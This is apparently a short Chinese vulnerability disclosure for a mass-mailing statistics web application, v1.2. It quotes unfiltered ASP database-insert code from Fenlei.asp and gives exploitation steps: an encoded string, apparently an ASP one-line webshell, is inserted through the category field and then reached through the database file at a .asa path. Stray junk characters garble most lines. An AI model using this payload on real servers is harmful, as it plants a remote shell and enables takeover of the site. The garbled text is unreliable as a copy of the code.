铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp
/ v* {: B( b& I0 F: q' ^7 x: P
IF Request.QueryString("Action")="del" Then
2 T+ a7 A9 l  U  G/ r: F1 nID=Request.QueryString("ID")
! @. |4 F- n. H- R- N+ ]IF Countss ("tui","Fenlei",ID )<>0 then
'略
' v/ _! A3 r6 @) U  J2 a7 d# EIF Request.QueryString("Action")="Add" Then
Tname=Request.Form("Typename")
5 u0 I! y1 P) _2 n- d- Q7 bSet Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,3
Rs.Addnew
1 t  `, `$ @) E# Q$ K2 {Rs("Typename")=Tname
'略
) e1 y/ S& O( r5 i9 u+ S! o1 p4 xSet Rs=Server.CreateObject("adodb.Recordset")
: _" h' w6 f- R( ~5 ]: m/ VSql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,1
- k4 e$ c8 C# S  t: F'略
9 S1 l% L) z; O, J7 R%>


: u9 m4 k: T0 V! b. ~
  g2 Y# j6 U$ ^1 u, U. x没有过滤，直接写入数据库。

* Q9 i1 A( a6 ~: r利用方法：

! V( R8 w1 F) J0 E/ ]6 E  d0 U: g插入：┼攠數畣整爠煥敵瑳∨≡┩>


连接： http://www.xxx.com/###tongbaner.asa
1 `, R' X  a; \  d% u+ q) F+ L'默认安装文件：
4 c4 X$ z& N# r0 y'install.asp
2 c* V5 ^) u8 u, ~+ a1 u